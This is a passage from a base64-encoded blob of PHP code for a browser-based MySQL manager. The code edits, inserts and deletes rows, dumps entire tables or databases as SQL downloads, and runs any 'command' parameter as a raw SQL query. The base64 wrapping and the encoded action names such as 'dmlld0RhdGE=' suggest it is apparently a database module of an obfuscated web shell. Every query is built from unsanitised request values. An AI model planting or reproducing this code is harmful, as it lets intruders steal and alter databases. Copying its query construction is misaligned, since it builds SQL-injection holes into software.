EY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9